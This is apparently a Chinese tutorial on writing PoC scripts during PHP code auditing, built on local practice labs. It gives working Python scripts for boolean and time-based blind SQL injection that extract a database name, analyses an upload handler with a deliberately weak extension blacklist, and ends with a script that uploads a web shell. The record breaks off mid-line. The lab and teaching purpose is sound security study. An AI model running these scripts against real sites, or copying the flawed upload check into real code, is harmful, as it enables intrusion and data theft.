poc编写结合php审计
前言:渗透测试的时候往往会遇到盲注这类的繁杂的手工测试,所以需要编写半自动化脚本去进行测试减少时间浪费并快速获取漏洞结果信息,根据目前的漏洞靶场进行漏洞利用分析进行poc编写。
poc-sql布尔盲注
sql盲注
一、首先测试接口确认漏洞存在
pikachu就后面的#要编码成%23
二、得到数据库名长度
poc(判断数据库准确长度)
length(database())=str(dbNameLen)=7=pikachu
import requests url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php" #计算响应包长度 params={"name":"kobe","submit":"查询"} normalhtmllen = len(requests.get(url=url,params=params).text) #print("the len of HTML:",normalhtmllen) print("the len of HTML:"+str(normalhtmllen)) #+号要加str()改为字符串 dbNameLen = 0 while True: dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查询" print(dbNameLen_url) if len(requests.get(dbNameLen_url).text) == normalhtmllen: print("The len of dbName",dbNameLen) break if dbNameLen == 200: print("Error!") break dbNameLen += 1
三、根据得到的长度去用substr()由头到尾一个个字符串遍历出完整的数据库名
(这里事先知道数据库名是pikachu,调用string.ascii_lowercase的Data是26个字母去节省比对数量以节省比对时间)
(zon)
import requests import string url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php" #计算响应包长度 params={"name":"kobe","submit":"查询"} normalhtmllen = len(requests.get(url=url,params=params).text) # url2=requests.get(url=url,params=params) # print("the len of HTML:",normalhtmllen) # print(url2.url) print("the len of HTML:"+str(normalhtmllen)) #+号要加str()改为字符串 #---根据得到的长度去用substr()由头到尾一个个字符串遍历出完整的数据库名-------- dbName="" for i in range(1,9): for a in string.ascii_lowercase: dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查询" #print(dbName_url) if len(requests.get(dbName_url).text) == normalhtmllen: dbName += a print(dbName)
总源码:
import requests import string url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php" #计算响应包长度 params={"name":"kobe","submit":"查询"} normalhtmllen = len(requests.get(url=url,params=params).text) # url2=requests.get(url=url,params=params) # print("the len of HTML:",normalhtmllen) # print(url2.url) print("the len of HTML:"+str(normalhtmllen)) #+号要加str()改为字符串 #------------判断数据库名的长度------------------------------------------------------------------- dbNameLen = 0 while True: dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查询" if len(requests.get(dbNameLen_url).text) == normalhtmllen: print("The len of dbName",dbNameLen) break if dbNameLen == 200: print("Error!") break dbNameLen += 1 #---------------------------------------------------------------------------------------------------------------- #---根据得到的长度去用substr()由头到尾一个个字符串遍历出完整的数据库名----------------------------------------------- dbName="" for i in range(1,9): for a in string.ascii_lowercase: dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查询" #print(dbName_url) if len(requests.get(dbName_url).text) == normalhtmllen: dbName += a print(dbName)
poc-sql延时
sql延时
一、首先测试接口确认漏洞存在
接口输入
import requests import string url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php" #计算响应包长度 params={"name":"kobe","submit":"查询"} normalhtmllen = len(requests.get(url=url,params=params).text) # url2=requests.get(url=url,params=params) # print("the len of HTML:",normalhtmllen) # print(url2.url) print("the len of HTML:"+str(normalhtmllen)) #+号要加str()改为字符串 #------------判断数据库名的长度------------------------------------------------------------------- dbNameLen = 0 while True: dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查询" if len(requests.get(dbNameLen_url).text) == normalhtmllen: print("The len of dbName",dbNameLen) break if dbNameLen == 200: print("Error!") break dbNameLen += 1 #---------------------------------------------------------------------------------------------------------------- #---根据得到的长度去用substr()由头到尾一个个字符串遍历出完整的数据库名----------------------------------------------- dbName="" for i in range(1,9): for a in string.ascii_lowercase: dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查询" #print(dbName_url) if len(requests.get(dbName_url).text) == normalhtmllen: dbName += a print(dbName)
python语句:
dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查询"
注入语句:
name=kobe'+and+if(length(database())=7,sleep(5),1)%23&submit=查询
二、(获取数据库长度)通过res = requests.get(url,timeout=3)与sleep(5)不同的结果进行比较
if "timeout" in timeOut(dbNameLenUrl)
通过timeOut()函数得出:
①如果返回大于3s,那么函数timeOut()返回的结果是 return "timeout" ,
所以if语句为1,即timeout=timeout
②如果返回小于3s,那么函数timeOut()返回的结果是 return res.text的网页html内容
所以if语句为0,不成立
import requests import string url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php" def timeOut(url): try: res = requests.get(url,timeout=3) return res.text except Exception as e: return "timeout" dbNameLen = 0 while True: dbNameLen +=1 dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查询" print(dbNameLenUrl) if "timeout" in timeOut(dbNameLenUrl): print("数据库名长度:",dbNameLen) break if dbNameLen == 30: print("error!") break
三、获取数据库名(原理和第二步一样)
#---------获取数据库名--------------------------------------------------------- dbName = "" for i in range(1,dbNameLen+1): for char in string.ascii_lowercase: dbNameUrl = url + "?name=kobe'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)%23&submit=查询" if "timeout" in timeOut(dbNameUrl): dbName += char print(dbName) break
总源码:
import requests import string url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php" def timeOut(url): try: res = requests.get(url,timeout=3) return res.text except Exception as e: return "timeout" dbNameLen = 0 while True: dbNameLen +=1 dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查询" print(dbNameLenUrl) if "timeout" in timeOut(dbNameLenUrl): print("数据库名长度:",dbNameLen) break if dbNameLen == 30: print("error!") break #---------获取数据库名--------------------------------------------------------- dbName = "" for i in range(1,dbNameLen+1): for char in string.ascii_lowercase: dbNameUrl = url + "?name=kobe'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)%23&submit=查询" #print(dbNameUrl) if "timeout" in timeOut(dbNameUrl): dbName += char print("数据库名为:",dbName) break
import requests import string url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php" def timeOut(url): try: res = requests.get(url,timeout=3) return res.text except Exception as e: return "timeout" dbNameLen = 0 while True: dbNameLen +=1 dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查询" print(dbNameLenUrl) if "timeout" in timeOut(dbNameLenUrl): print("数据库名长度:",dbNameLen) break if dbNameLen == 30: print("error!") break #---------获取数据库名--------------------------------------------------------- dbName = "" for i in range(1,dbNameLen+1): for char in string.ascii_lowercase: dbNameUrl = url + "?name=kobe'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)%23&submit=查询" #print(dbNameUrl) if "timeout" in timeOut(dbNameUrl): dbName += char print("数据库名为:",dbName) break
提交的参数为post因为$_File需要post传参,
<form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form>
一次能同时选中多个文件同时上传
<input type="file" name="file_upload" multiple="multiple" />
move_uploaded_file()
move_uploaded_file() 函数将上传的文件移动到新位置。
定义和用法
move_uploaded_file() 函数将上传的文件移动到新位置。
若成功,则返回 true,否则返回 false。
语法
move_uploaded_file(file,newloc)
参数 描述
file 必需。规定要移动的文件。
newloc 必需。规定文件的新位置。
源码分析
应该是一般上传后默认上传的路径是tmp_name这个临时文件夹,所以修改路径到./,就是和上传功能php源码同一文件夹
move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<a href='/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";
所以修改href修改为真实路径的跳转路径:
echo "<a href='/poc/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";
in_array
in_array—检查数组中是否存在某个值
讲参数$ext的上传pathinfo和$file得到的文件信息传入in_array去判断pathinfo('', PATHINFO_EXTENSION)提取出来的后缀名是否是php。
所以在这里pathinfo()只是给in_array使用,后面就没有再使用过了。
if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (in_array($ext, ['php'])) { die('Unsupported filetype uploaded.'); }
$_FILES
PHP $_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组。
参数:
名字(name)
类型(type)
临时文件夹路径(tmp_name)
报错(error)
文件大小(size)
file.html <html> <head></head> <body></body> <form enctype="multipart/form-data" action="file.php" method="POST"> Send this file: <input name="userfile" type="file" /> <input type="submit" value="Send File" /> </form> </html>
新建一个用于接收文件信息的 PHP 文件 file.php,代码如下:
file.php <?php echo "<pre>"; print_r($_FILES); ?>
在 file.html 页面选择文件后,单击 Send File 按钮,将会在页面输出以下信息:
输出文件的
名字
类型
临时文件夹路径(tmp_name)
文件大小
对源码分析:
if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (in_array($ext, ['php'])) { die('Unsupported filetype uploaded.'); }
里的这句
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
选择提取的参数是name、type、tmp_name、error、size的5个中的name属性,pathinfo()的PATHINFO_EXTENSION提取$File处理完的内容
(name=file.txt)的后缀名txt
pathinfo()
pathinfo() 函数返回字符串
定义和用法
pathinfo() 函数以数组的形式返回关于文件路径的信息。
pathinfo(path,options)
返回的数组元素如下:
[dirname]: 目录路径
[basename]: 文件名
[extension]: 文件后缀名
[filename]: 不包含后缀的文件名
对源码分析:
if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (in_array($ext, ['php'])) { die('Unsupported filetype uploaded.'); }
里的这句
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
选择提取的参数是name、type、tmp_name、error、size的5个中的name属性,pathinfo()的PATHINFO_EXTENSION提取$File处理完的内容(name=file.txt)的后缀名txt
poc
import requests url = "http://127.0.0.1/poc/upload.php" upfile={"file_upload":open("321.py","rb")} #rb以二进制的方式读文件 postdata={"usersubmit":"随便"} res = requests.post(url=url,data = postdata,files=upfile) #为了统一写到字典里 print(res.text) print(res.url)
exp
phpstudy记得传回7 <?phpif (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (in_array($ext, ['php4'])) { die('Unsupported filetype uploaded.'); } move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']); echo "<a href='/poc/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>"; endif; ?> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form>
res.text[9:20]切片
上传php
#!/usr/bin/env python # -*- coding:utf-8 -*- import requests import sys #获取命令行的参数 url = sys.argv[1] path = sys.argv[2] #print(sys.argv[1]) postUrl = url + "/poc/upload.php" upfile = {"file_upload":open(path,"rb")} res = requests.post(url=postUrl,files = upfile) print(res.text) print("The Shell path : "+ url+res.text[9:19